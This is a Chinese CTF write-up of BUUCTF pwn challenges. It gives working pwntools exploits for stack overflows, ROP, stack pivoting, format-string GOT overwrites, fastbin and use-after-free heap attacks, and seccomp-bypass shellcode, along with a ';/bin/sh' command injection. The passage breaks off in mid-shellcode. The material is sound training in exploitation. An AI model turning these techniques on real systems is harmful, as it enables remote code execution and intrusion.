BUUCTF-PWN-第二页writep(32题)

picoctf_2018_rop chain

明显的栈溢出
0
flag 函数,需要 win1 win2 和 a1 满足一定条件
0
也提供了两个函数去控制 win1 和 win2 的值
0
那么思路就有了,先控制 win1 =1 ,再令 win2 = 1 ,再拿 flag
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26272)
elf = ELF('./pwn')


win_function1 = 0x80485CB
win_function2 = 0x80485D8
flag = 0x804862B


p.recv()
payload = b'a'*28 + p32(win_function1) + p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendline(payload)
p.recv()

 jarvisoj_level3_x64

利用 write 泄露 libc ,不过是 x64 下,得用到通用 gadget
但是没找到 rdx,不过我们只需要 rdx >= 5即可,不需要像系统调用那样精准控制,所以就不需要 CSUROP 或者 SROP 了
都不用调试,看下接受了多少数据,明显够了
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28999)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

ret = 0x400499
rdi = 0x4006b3
rsi_r15 = 0x4006b1

payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.sym['write']) + p64(elf.sym['main']) 
p.sendlineafter(b'Input:\n', payload)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
print('write_addr => ', hex(write_addr))

one_gadget = write_addr - libc.sym['write'] + 0xf02a4
payload = b'a'*0x88 + p64(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

 

jarvisoj_level4

ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28911)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
p.send(payload)

write_addr = u32(p.recv(4))
print('write_addr => ', hex(write_addr))

libcbase = write_addr - libc.sym['write']
one_gadget = libcbase + 0x3a80c

payload = b'a'*140 + p32(one_gadget)
p.sendline(payload)

p.interactive()

bjdctf_2020_babyrop2

0
main函数中有 main 函数和 vuln 函数
gift函数
0
vuln函数
0
看汇编代码发现两个子函数的canary都是 fs:28,明显是要泄露出 canary
但是 format 只能是6个字节,于是一个一个试(直接利用 gdb 调试看会更快)
这里发现aa在第六个参赛的相对位置
0
看IDA可知 canary 在 rbp -0x8 则,canary是第七个参数
0
在IDA中可知canary就在buf的下方,于是填充完buf就需要填充canary,后面就是标准的 ret2libc
from pwn import *
context.log_level = 'debug'

#p = process('1')
p = remote('node4.buuoj.cn', 25249)
elf = ELF('1')
libc = ELF('CTF_tool/libc-2.23-x64.so')

vuln_addr = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x00000000004005f9
rdi = 0x0000000000400993

p.recv()
p.sendline('%7$p')

canary = int(p.recv(18), 16)
p.recv()

payload = b'a'*24 + p64(canary) + b'a'*8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload)

text = p.recv()
puts_addr = u64(text.ljust(8, b'\x00'))

libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

payload = b'a'*24 + p64(canary) + b'a'*8 + p64(rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

 [Black Watch 入群题]PWN

明显的栈溢出漏洞,但是只能溢出 4 个字节,于是这道题就是栈转移了

0
不能泄露 ebp ,但是可以写到 s 上,然后跳转到 s 执行
不知道为什么用 puts 泄露不了程序会崩溃,难度是 puts 输出太多了?换成 write 就好了
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29860)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

#gdb.attach(p, 'b *0x0804850E')

buf_s = 0x804A300
leave = 0x8048408

payload = b'aaaa' + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
p.sendafter(b'What is your name?', payload)

payload = b'a'*24 + p32(buf_s) + p32(leave)
p.sendafter(b'What do you want to say?', payload)

write_addr = u32(p.recv(4))
one_gadget = write_addr - libc.sym['write'] +  0x3a80e

payload = b'aaaa' + p32(one_gadget)
p.sendafter(b'What is your name?', payload)

payload = b'a'*24 + p32(buf_s) + p32(leave)
p.sendafter(b'What do you want to say?', payload)

p.interactive()

 wustctf2020_getshell

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29860)
elf = ELF('./pwn')

p.recv()
payload = b'a'*0x1c + p32(elf.sym['shell'])
p.sendline(payload)
p.interactive()

pwnable_orw

 
0
main
0
一看好像是简单的写入shellcode,果不其然错了
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的
sandboxing 机制。在 Linux 系统里,大量的系统调用(system
call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system
call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
orw_seccomp 函数先执行
0
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
seccomp沙盒竞争,我们可以利用 o-r-w 读出 flag
可以安装 seccomp-tools 去检测什么函数可以使用
sudo apt install gcc ruby-dev 
sudo gem install seccomp-tools
seccomp-tools dump file
0
构造如下的语句读取flag,可以将read的数据存入可读写的bss段中
open("flag.txt", READONLY); 
read(0x3, save_to, flag_size); 
write(0x1, save_to, flag_size);
paylaod的话可以使用pwntools的shellcraft
payload = shellcraft.open('flag.txt') 
payload += shellcraft.read(3, save_to, flag_size) 
payload += shellcraft.write(1, save_to, flag_size)
exp
from pwn import *
context.log_level = 'debug'
context(os = 'linux', arch = 'i386')
#p = process('1')
p = remote('node4.buuoj.cn', 27472)
elf = ELF('orw')

buf_addr = 0x0804A100
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, buf_addr, 0x40)
shellcode += shellcraft.write(1, buf_addr, 0x40)

'''
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
'''

p.sendlineafter('Give my your shellcode:', asm(shellcode))
p.recv()
这里两种payload都可以,就是 buf_addr 的地址有些不行(估计有些是没有 rw 权限或者已经有了数据写不进去)

bjdctf_2020_router

web 题命令执行的 pwn 版
from pwn import *
context.log_level = 'debug'
context(os = 'linux', arch = 'i386')
#p = process('1')
p = remote('node4.buuoj.cn', 27217)


p.sendlineafter('Please input u choose:\n', '1')
p.sendlineafter('Please input the ip address:\n', ';/bin/sh')
p.interactive()

[ZJCTF 2019]EasyHeap

0
菜单堆题
0
create_heap 存在堆溢出漏洞
0
edit_heap
0
重新编辑堆内容的时候,没有限制写入的大小,有明显的堆溢出
delete_heap
0
把指针也给释放了,这个没毛病
修改通过修改 magic 拿到 flag
0
0
个人思路是通过堆溢出来达成 fast bin attack ,伪造一个 magic 附近的堆块,从而修改 magic
magic 的地址是 0x6020C0
这里我们可以找到一个合适的堆块实现 fast bin attack
0
先申请堆块, free 后修改 fd
create(0x10, b'a') 
create(0x60, b'b') 
create(0x60, b'c') 
create(0x10, b'd') 
free(1)
free(2) fake_chunk = 0x60209d payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload)
可以看到成功了
0
0
再申请回来,那么 index2 就指向我们的 fake_chunk 了
create(0x60, b'b') 
create(0x60, b'c') 
payload = b'a'*27 
edit(2, payload)
结果
0
太可恶了吧
想了二十分钟,或许我可以把 cat /home/pwn//flag 修改成 /bin/sh\x00 ?
该字符串的地址是 0x400f49
0
找到合适的 fake chunk
0
这里我本来是这么重新申请的
create(0x10, b'a') 
create(0x60, b'b') 
create(0x60, b'c') 
create(0x10, b'd')
但是一直报错,调试才发现
0
0x70 的 fast bin 这里还有一个 chunk ,应该是 fake chunk 留下的
但是吧,这不应该是 prve size 的位置吗,这里没弄懂(现在看这里没毛病,0x60209d 是堆块中 user_data 的地址, fast bin 的链表也是存放这个地址的,当时应该误以为这个地址是 chunk 头的地址了)
那就
create(0x10, b'a') 
create(0x50, b'b') 
create(0x50, b'c') 
create(0x10, b'd')
接着做吧
然后吧
0
可能这个不是有 0x00 * 7 + 0x74 组成的,所以申请 chunk 的时候会出错
再试下这个,反正能堆溢出
0
然而还是申请不出来,半夜两点了,还是明天再继续吧,身体受不了(感慨啊,这六个多月来每天日常十小时以上学习时间,现在总算学出一些东西了)
个人感觉就是修改 cat /home/pwn/flag ,还是看 wp 吧(刚开始学不懂, /home/pwn/flag 应该在 .rodata ,这里是没有写入权限)
可以了,感觉还是挺巧妙的,也是通过伪造堆块
这是存放堆块指针的地方
0
我们可以在这里伪造一个堆块,然后把 chunk0 的指针修改为 free@got,再通过编辑 chunk0 将 free@plt 修改为 system@plt ,然后在 chunk3 存放 /bin/sh ,那么 free(3) 就能执行 system('/bin/sh')
IDA 查看知道 heaparray = 0x6020E0 即为 chun0 的指针
找到了一个合适的 chunk
0
(个人觉得找 fake chunk 还是要找存放 地址 的地方,存放数据的太乱了,很难找到)
payload = b'a'*0x23 + p64(elf.got['free']) 
print('free@got => ', hex(elf.got['free'])) 
edit(2, payload)
可以看到成功修改
0
0
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25676)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

def create(size, content):
p.sendlineafter(b'Your choice :', b'1')
p.sendlineafter(b'Size of Heap : ', str(size))
p.sendafter(b'Content of heap:', content)
def edit(index, content):
p.sendlineafter(b'Your choice :', b'2')
p.sendlineafter(b'Index :', str(index))
p.sendlineafter(b'Size of Heap : ', str(len(content)))
p.sendafter(b'Content of heap : ', content)
def free(index):
p.sendlineafter(b'Your choice :', b'3')
p.sendlineafter(b'Index :', str(index))
def flag():
p.sendlineafter(b'Your choice :', b'4869')
print(p.recv())
print(p.recv())

create(0x10, b'a')
create(0x60, b'b')
create(0x60, b'c')
create(0x10, b'/bin/sh\x00')
free(1)
free(2)

fake_chunk = 0x6020ad
payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk)
edit(0, payload)

create(0x60, b'b') # index1 -> chun2
create(0x60, b'c') # index2 -> fake chunk

payload = b'a'*0x23 + p64(elf.got['free'])
print('free@got => ', hex(elf.got['free']))
edit(2, payload)

edit(0, p64(elf.plt['system']))
print('system@plt => ', hex(elf.plt['system']))

free(3)
p.interactive()

本来以为能靠自己做出来的,没想到还是看 wp,要注意保护措施没开的情况应该怎么去利用漏洞,不要总是想着没有泄露 ibc 就不能做,这道题没开 PIE,并且程序中就有 system 函数,所以可以使用修改 got表 的方法

hitcontraining_uaf

main函数
0
可以看到,删除指针的时候不会将指针清除
0
 
添加 chunk 的时候还添加了一个 sub_chunk,并且,即使之前的chunk被free掉,i还是会继续增加,因为指针没被清除,还是指向原来的chunk,并且创建的chunk前面指向了一个函数,后面指向了sub_chunk,通过uaf,我们可以令一个chunk的sub_chunk指向前面已经被创建的chunk,这样就可以修改chunk指向的函数了,这样来拿到shell
add 函数
0
后门 magic
0
这就是解题的思维视图了
0
先 malloc 两个 16byte 的chunk,都 free 后,再 malloc 一个 8byte 的chunk ,这样 chunk 2 的 sub_chunk 就可以修改 chunk 0 的 self_puts 为 magic 了
exp如下
from pwn import *
context.log_level = 'debug'
#context(os = 'linux', arch = 'i386')
p = process('hacknote')
elf = ELF('hacknote')

def add(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Note size :', size)
p.sendlineafter('Content :', content)

def dele(index):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', index)

def self_put(index):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', index)

backdoor_addr = elf.symbols['magic']

add('16', 'aaaa')
add('16', 'bbbbb')
dele('0')
dele('1')

add('8', p32(backdoor_addr))
self_put('0')
p.interactive()

picoctf_2018_buffer overflow 1

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28098)
elf = ELF('./pwn')


payload = b'a'*0x2c + p32(elf.sym['win'])
p.recv()
p.sendline(payload)
print(p.recv())

 mrctf2020_shellcode

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28098)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

p.sendline(asm(shellcraft.sh()))
p.interactive()

jarvisoj_test_your_memory

一道有两个注意点的题
main
0
mem_test
有 system 函数 和 cat flag 该字符串
注意 s 在 ebp -13h 的位置,所以覆盖到ret所需要填充的数据是 0x13 + 4 = 23 字节
这是第一个注意的点,这里我是动态调试出来的,现在发现是可以直接看的,不过也有可能看IDA是不准确的(做了这么多题了,其实 IDA 是比较准了,不过要结合汇编指令看,看下有没有 leave 指令)
from pwn import *
context.log_level = 'debug'
#context(os = 'linux', arch = 'i386')
#p = process('1')
p = remote('node4.buuoj.cn', 29367)
elf = ELF('1')

system_addr = elf.symbols['system']
flag_addr = next(elf.search(b'cat flag\x00'))
system = 0x080485BD
flag = 0x080487E0

payload = b'a'*23 + p32(system) + p32(0x0804867A) + p32(flag)
#payload = b'a'*23 + p32(system) + p32(0) + p32(flag)
p.sendline(payload)
p.interactive()
由于执行的是 system('cat flag')
所以,如果执行到 system('cat flag') 后没有正常跳转,即 system('cat flag') 没正常结束,flag是不会回显到终端的,所以在填充返回地址的时候,需要填一个能正常跳转的地址,在 text段随便选一个即可。这是第二个需要注意的点

inndy_rop

一道静态编译的题目,ROPgadget工具竟然能自动构造ROP链
ROPgadget --binary rop --ropchain
0
只要自己加上偏移就行
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
#p = process('1')
p = remote('node4.buuoj.cn', 26417)
elf = ELF('rop')

def get_payload():
    p = b'a'*16
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    return p

shellcode = get_payload()
p.sendline(shellcode)
p.interactive()

 cmcc_simplerop

同样是静态编译的一道题,但是 ROPgadget 找的 ROP_shellcode 太长了
0
这里最长只能读 100 ,但是构造的达到了 168
0
这里我们可以用 pop eax; ret p32(0xb) 来代替
然后还是超了 100 ,改不下去了
这里就用 execve('/bin/sh/', 0, 0) 进行系统调用
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29301)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

eax = 0x080bae06
edx_ecx_ebx = 0x0806e850
int_80 = 0x080493e1
buf = 0x80EAF90

payload = b'a'*0x20 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)

p.recv()
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
注意要IDA的 buf 到 ebp 的距离是错的
也可以用 mprotect 做

picoctf_2018_buffer overflow 2

0
利用栈溢出跳转到 win 函数执行,并控制好 a1 和 a2 参数
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28725)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

payload = b'a'*112 + p32(elf.sym['win']) + p32(elf.sym['exit']) + p32(0xDEADBEEF) + p32(0xDEADC0DE)
p.recv()
p.sendline(payload)
print(p.recv())

 xdctf2015_pwn200

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29669)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

payload = b'a'*112 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
p.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)

write_addr = u32(p.recv(4))
libcbase = write_addr - libc.sym['write']
one_gadget = libcbase + 0x5f066
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*112 + p32(system) + p32(0) + p32(binsh)
p.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)

p.interactive()

 bbys_tu_2016

注意 IDA 偏移是错的,需要调试

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27816)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

#p.recv()
payload = b'a'*0x18 + p32(elf.sym['printFlag'])

p.sendline(payload)
print(p.recv())

 mrctf2020_easyoverflow

利用栈溢出覆盖 v5 从而实现绕过 check 函数检测
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

payload = b'a'*0x30 + b'n0t_r3@11y_f1@g'
p.send(payload)

p.interactive()

 wustctf2020_getshell_2

0
栈溢出题目,但是需要填充 0x18 的无用数据,如果加上 p32(system_addr) + b'a'*4 + p32(binsh_addr) ,那么就会高达 0x28,拿不到shell了
但是如果能找到 call _system 指令,那么就不需要返回地址,将shellcode缩小到 0x24 了
0
 注意直接 call 是不需要伪造 ret addr 的
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
#p = process('1')
#libc = ELF('CTF_tool/libc-2.23-x86.so')
p = remote('node4.buuoj.cn', 29637)
elf = ELF('1')

system_addr = 0x08048529
sh_addr = next(elf.search(b'sh\x00'))

payload = b'a'*28 + p32(system_addr) + p32(sh_addr)
p.recv()
p.sendline(payload)
p.interactive()

 [ZJCTF 2019]Login

C++ 编写的程序,可以看到是一个实现登录功能的代码
0
账号密码都给了出来,登录成功后执行 a1 这个参数两个 * 取值后的指令
0
不过这样填账号密码会出现错误,说明最后跳转的指令有问题
可以看到是跳转到 rax
而 rax 来自于 [rbp + var_68] ,但是这里的 var_68 我们是修改不了的,因为我们只有两次输入,两次输入的 buf 都在 var_68 下面
使用再往上找
再往上找
最后发现 rax 来自 [rbp+var_18]
而 var_18 是我们能够溢出覆盖的
并且程序自带了后门
(现在想想这道题我应该会用其它做法,比如写进一些特殊数据,然后动态调试进行污点追踪,看看程序最后跳转到哪了,这种做法应该会快些?)
exp
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

name = b'admin'
pasd = b'2jctf_pa5sw0rd'
pasd= pasd.ljust(0x48, b'\x00') + p32(0x400E88)

p.sendlineafter(b'Please enter username: ', name)
p.sendlineafter(b'Please enter password: ', pasd)
p.interactive()

 jarvisoj_level1

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

p.recvuntil(b'What\'s this:')
buf = int(p.recv(10), 16)
print('buf => ', hex(buf))

payload = asm(shellcraft.sh()).ljust(140, b'\x00') + p32(buf)

p.sendline(payload)
p.interactive()

 ciscn_2019_s_4

栈迁移
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27816)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

leave = 0x080485FD
ret = 0x080483a6

p.recv()
p.send(b'a'*0x24 + b'stop')
p.recvuntil(b'stop')
ebp = u32(p.recv(4))
print('ebp => ', hex(ebp))

payload = b'aaaa' + p32(ret) + p32(elf.sym['system']) + p32(0) + p32(ebp-0x24) + b'/bin/sh\x00'
payload = payload.ljust(0x28, b'\x00')
payload += p32(ebp-0x34) + p32(leave)
p.sendline(payload)

p.interactive()

 babyfengshui_33c3_2016

0
一道菜单堆题
0
主要是看堆的创建这里
0
先申请一个自定义大小的堆块,然后清空,再申请一个 0x80 的堆块,然后清空。
之后将 0x80 堆块的第一个数据设置成 自定义大小堆块的指针,并且设置一个 index 指向 0x80 的堆块
然后填入姓名数据到 0x80 堆块中
0
主要是这里
其中 *(&ptr + a1) = v3
**(&ptr + a1) = *v3 = s *(&ptr + a1) - 4 = v3 - 4
申请一个 0x8 大小的 chunk 为例
这里是 s
这里是 v3 - 4
所以可以多溢出三个字节,但由于等于就退出,再加上后面的可以多写一个字节,所以总共可以溢出四个字节
不过这道题是利用检测漏洞实现堆块溢出,我们可以先申请三个堆块,第一个堆块的大小是 0x80,先把第一个堆块 free 后,会合并成一个 0x110 的堆块
如果这时候我们再申请一个 0x100 的堆块,那么 0x80 的另一个堆块就要从 top chunk 拿资源了,所以这两个堆块相隔有一定距离,那么我们就可以去修改这两个堆块中间的另外四个堆块了
不过程序中没有 system@plt,所以需要先泄露 libcbase,同样的,直接修改 0x80 堆块中存放 自定义堆块 的指针为一个函数的 got 表地址,然后 dump 下
add(0x80, b'a', b'a')
add(0x80, b'b', b'b')
add(0x10, b'/bin/sh\x00', b'/binsh\x00')
free(0)
add(0x100, b'd', b'd')
edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['puts']))

dump(1)
p.recvuntil(b'description: ')
puts_addr = u32(p.recv(4))
print('puts_addr =>', hex(puts_addr))
效果
然后就是重新覆盖 puts@gotsystem@plt 了,然后在 chunk2 放 /bin/sh ,之后再 free(2) 即可
edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['free'])) print('free@got => ', hex(elf.got['free'])) 
print('system@plt => ', hex(system))
edit(1, 0x4, p32(system))
可以看到修改成功
exp
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26501)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

def add(size, name, text):
p.sendlineafter(b'Action: ', '0')
p.sendlineafter(b'size of description: ', str(size))
p.sendlineafter(b'name: ', name)
p.sendlineafter(b'text length: ', str(len(text)))
p.sendafter(b'text: ', text)
def free(index):
p.sendlineafter(b'Action: ', '1')
p.sendlineafter(b'index: ', str(index))
def dump(index):
p.sendlineafter(b'Action: ', '2')
p.sendlineafter(b'index: ', str(index))
def edit(index, lens, text):
p.sendlineafter(b'Action: ', '3')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'text length: ', str(lens))
p.sendafter(b'text: ', text)
def exit():
p.sendlineafter(b'Action: ', '4')

add(0x80, b'a', b'a')
add(0x80, b'b', b'b')
add(0x10, b'/bin/sh\x00', b'/bin/sh\x00')
free(0)
add(0x100, b'd', b'd')
edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['puts']))

dump(1)
p.recvuntil(b'description: ')
puts_addr = u32(p.recv(4))
print('puts_addr =>', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']

edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['free']))
print('free@got => ', hex(elf.got['free']))
print('system@plt => ', hex(system))
edit(1, 0x4, p32(system))

free(2)

p.interactive()

 hitcontraining_magicheap

这里改了,其它都是类似的
利用 fast bin attck 伪造 fake chunk,修改 magic 的值
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29547)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

def create(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Size of Heap : ', str(size))
p.sendafter(b'Content of heap:', content)
def edit(index, content):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
p.sendlineafter(b'Size of Heap : ', str(len(content)))
p.sendafter(b'Content of heap : ', content)
def free(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
def get_shell():
p.sendlineafter(b'Your choice :', '4869')

create(0x10, 'a')
create(0x60, 'b')
create(0x60, 'c')
create(0x10, 'd')
free(1)
free(2)

fake_chunk = 0x60208d
payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk)
edit(0, payload)

create(0x60, 'a') #index1 -> chunk2
payload = b'a'*3 + p64(0xffffffffffffffff)
create(0x60, payload)
get_shell()
p.interactive()

axb_2019_fmt32 

简洁的main函数界面,明显的格式化字符串漏洞啊
0
先泄露 libc ,在修改 printf@plt 为 system@plt
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
libc = ELF('CTF_tool/libc-2.23-x86.so')
#p = process('1')
p = remote('node4.buuoj.cn', 27173)
elf = ELF('1')

printf_got = elf.got['printf']
payload = b'a' + p32(printf_got) + b'stop' + b'%8$s'
#特别注意这里要用 %8$s 读,用 %8$x 只能读出 printf_got 的地址
p.sendlineafter('Please tell me:', payload)
p.recvuntil('stop')
printf_addr = u32(p.recv(4))

libcbase = printf_addr - libc.symbols['printf']
system_addr = libcbase + libc.symbols['system']

payload = b'a' + fmtstr_payload(8, {printf_got : system_addr}, write_size = 'byte', numbwritten = 0xa)
#没有栈对齐,需要将栈对齐,注意这里用的是 printf_got 
p.sendlineafter('Please tell me:', payload)
p.sendline(b';/bin/sh\x00')
p.interactive()

wustctf2020_closed

0
0
一道很奇怪的题
close(1) 和 close(2) 关掉了标准输出和错误输出
因为1和2文件描述符不可用了,所以对标准输出重定向,将文件描述符 1 重定向到终端
exec 1>&0
0

ciscn_2019_n_3

菜单堆题
0
在新增 note 这里
0
首先会创建一个 0xc 的堆块,然后放入 printf 和 free 函数地址,如果写入内容类型是 text ,则还会多创建一个自定义大小的堆块,并把该堆块的指针放入 0xc 的堆块中
这是放入的 free 函数
0
发现 free 的时候没有清空指针
0
但是这是 libc-2.27
只申请一个堆时,上面多了一个 0x140 的堆(tcache struct)
0
free 后堆块加入的是 tcache
不过我们使用 UAF 的做法,先申请两个 chunk ,都释放掉,再增加一个 0xc 大小的 note,那么我们所申请的一个自定义大小(0xc) 的 chunk 就会占据 之前一个 note 固定 0xc 大小的 chunk ,这个 chunk 是有 printf 和 free 地址的,我们可以修改为 system@plt ,然后在该 note 申请 填入 /bin/sh ,再 free 即可
add(0, 0x20, b'a')
add(1, 0x20, b'b')

free(0)
free(1)
add(2, 0xc, b'sh\x00a' + p32(elf.plt['system']))
之后就是 free 了,注意这里 add note2 的时候要把 sh 写上去,方便 system 调用
free(0)
p.interactive()

pwnable_start

0
结果IDA无法反汇编
0
这段汇编指令进行了两次系统调用
write(1,buf,0x14) read (0,buf,0x3C)
不存在ebp,通过最后的add esp,14h 我们可以知道esp距离ret的地址0x14个字节(内平栈),也就是我们输入的参数buf的大小只有0x14,但是我们读入了0x3c,存在溢出漏洞,填充 0x14 字节就可覆盖到 ret
我们再次进行栈溢出调用 write ,这时候 esp 执行栈地址,就可以泄露地址了,然后再次写入shellcod 的时候,就可以用stack_addr + 0x14 代表此时的 shellcode 地址了
由于可溢出的空间有限,所以这里我们自己构造payload
shellocde = asm('''
xor ecx,ecx;
xor edx,edx;
push edx;              # '\x00'
push 0x0068732f;       # 小端序 hs/
push 0x6e69622f;       # nib/
